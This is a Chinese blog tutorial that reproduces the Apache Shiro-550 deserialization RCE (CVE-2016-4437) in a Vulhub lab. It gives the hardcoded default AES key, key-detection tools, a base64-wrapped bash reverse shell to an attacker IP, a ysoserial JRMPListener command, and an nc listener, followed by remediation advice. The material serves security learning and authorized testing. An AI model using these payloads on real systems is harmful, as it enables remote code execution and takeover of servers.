反序列化漏洞复现:以Shiro-550(CVE-2016-4437)为例的深度解析

在当今网络安全攻防对抗日益激烈的背景下,反序列化漏洞因其高危性与隐蔽性,成为渗透测试和安全研究中的重点对象。其中,Apache Shiro框架的Shiro-550反序列化漏洞(CVE-2016-4437) 无疑是近年来最具代表性的远程代码执行(RCE)漏洞之一。本文将带你从原理到实战,全面复现Shiro-550漏洞,深入理解其成因与利用方式,助你掌握这一关键安全知识点。

反序列化漏洞复现:以Shiro-550(CVE-2016-4437)为例的深度解析


什么是反序列化漏洞?

在Java等编程语言中,序列化(Serialization) 是将对象转换为字节流以便存储或传输的过程,而反序列化(Deserialization) 则是将其还原为原始对象的过程。

当应用程序在不安全的环境下对用户可控的数据进行反序列化操作时,攻击者便可能构造恶意的序列化数据,导致在反序列化过程中执行任意代码,即反序列化漏洞

这类漏洞的危害极大,往往可直接导致服务器被远程控制、数据泄露或服务瘫痪。


Apache Shiro 框架简介

Apache Shiro 是一个功能强大且易于使用的Java安全框架,广泛应用于企业级应用中,提供身份认证、授权、会话管理、加密等功能。其核心组件包括:

  • Subject:当前用户的安全操作接口

  • SecurityManager:安全管理器,协调所有安全操作

  • Realm:连接应用与数据源(如数据库)的桥梁

由于其易用性和灵活性,Shiro被大量Java Web项目采用,这也使得其安全问题影响范围极广。


三、Shiro-550反序列化漏洞(CVE-2016-4437)原理剖析

1. 漏洞编号与影响版本

  • CVE编号:CVE-2016-4437

  • 受影响版本:Apache Shiro ≤ 1.2.4

2. 漏洞核心成因

Shiro提供了一个“记住我”(RememberMe)功能。当用户勾选“Remember Me”登录后,服务端会将用户信息序列化 → AES加密 → Base64编码,并写入Cookie的rememberMe字段。

下一次请求时,服务端执行逆向操作:

Cookie.rememberMe → Base64解码 → AES解密 → 反序列化 → 恢复用户状态

问题出在AES加密的密钥上:在Shiro ≤ 1.2.4版本中,该密钥是硬编码在源码中的,值为:

kPH+bIxk5D2deZiIxcaaaA==

由于AES是对称加密算法,攻击者一旦知道密钥,就可以:

  1. 使用ysoserial等工具生成恶意序列化Payload

  2. 用该密钥进行AES加密和Base64编码

  3. 构造恶意rememberMe Cookie发送给服务器

  4. 服务器在反序列化时执行恶意代码,造成RCE


3. 漏洞判断特征

在渗透测试中,可通过以下方式初步判断目标是否使用Shiro并可能存在漏洞:

  • 响应头中包含Set-Cookie: rememberMe=deleteMe

  • 该字段表明Shiro已启用RememberMe功能

  • 注意:仅存在该字段不代表一定存在漏洞,还需确认密钥是否为默认或可爆破


漏洞复现环境搭建(基于Vulhub)

1. 环境准备

  • 操作系统:Ubuntu / Kali Linux

  • Docker:已安装并启动

  • Docker-Compose:用于快速部署靶场

2. 启动靶机

# 克隆 Vulhub 仓库
git clone https://github.com/vulhub/vulhub.git

# 进入 Shiro-550 漏洞目录
cd vulhub/shiro/CVE-2016-4437

# 启动容器
docker-compose up -d

访问 http://<your-ip>:8080 即可看到Shiro测试页面。


漏洞检测与利用步骤

步骤1:验证Shiro框架存在

使用浏览器访问目标站点,勾选“Remember Me”并登录,使用Burp Suite抓包,观察响应头是否包含:

Set-Cookie: rememberMe=deleteMe

若存在,则说明使用了Shiro框架。


步骤2:检测默认密钥

使用工具 shiro_attack-2.2.jar 或脚本 shiro_exploit.py 检测密钥。

使用 shiro_attack-2.2.jar(图形化)

java -jar shiro_attack-2.2.jar

输入目标URL,点击“检测当前密钥”或“爆破密钥”,若返回:

kPH+bIxk5D2deZiIxcaaaA==

则确认存在漏洞。

使用Python脚本检测

python2 shiro_exploit.py -u http://<target-ip>:8080

若成功爆破出密钥,说明可利用。

常见问题:运行脚本报错 No module named 'Crypto'
解决方案:

pip uninstall crypto pycryptodome
pip install pycryptodome

若为Python2环境,需将crypto文件夹重命名为Crypto并移至Python2的dist-packages目录。


步骤3:构造Payload并反弹Shell

1. 生成反弹Shell命令(Base64编码)

目标命令:

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

使用在线工具或命令进行Base64编码:

echo 'bash -i >& /dev/tcp/192.168.200.131/6666 0>&1' | base64

编码后使用如下格式绕过:

bash -c {echo,ENCODED}|{base64,-d}|{bash,-i}

2. 启动JRMPListener监听

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,ENCODED}|{base64,-d}|{bash,-i}"

3. 生成加密Payload

使用Python脚本 test_shiro550.py,传入JRMP地址:

python test_shiro550.py 192.168.200.131:7777

脚本会输出类似:

rememberMe=xxx...xxx

4. 构造请求并发送

在Burp中,将请求的Cookie替换为生成的rememberMe值,发送请求。

5. 查看反弹结果

在攻击机上监听端口:

nc -lvvp 6666

若成功,将获得目标服务器的Shell权限,执行whoami可验证。


漏洞修复建议

  1. 升级Shiro版本:升级至1.2.5及以上版本,避免使用硬编码密钥。

  2. 自定义RememberMe密钥:若无法升级,务必修改默认AES密钥,确保密钥复杂且保密。

  3. 禁用RememberMe功能:若非必要,建议关闭该功能。

  4. 使用安全的反序列化库:如Jackson、Gson等,避免直接反序列化用户输入。

  5. WAF防护:部署Web应用防火墙,检测异常Cookie行为。


Shiro-550反序列化漏洞是典型的“配置不当+设计缺陷”导致的高危漏洞。其利用链清晰、危害巨大,已成为渗透测试中的“黄金RCE”之一。

通过本次复现,我们不仅掌握了漏洞的利用流程,更深入理解了序列化安全、密钥管理、框架安全配置等核心安全理念。

安全提示:本文仅用于技术学习与合法授权测试,请勿用于非法用途。

发表评论

评论列表

还没有评论,快来说点什么吧~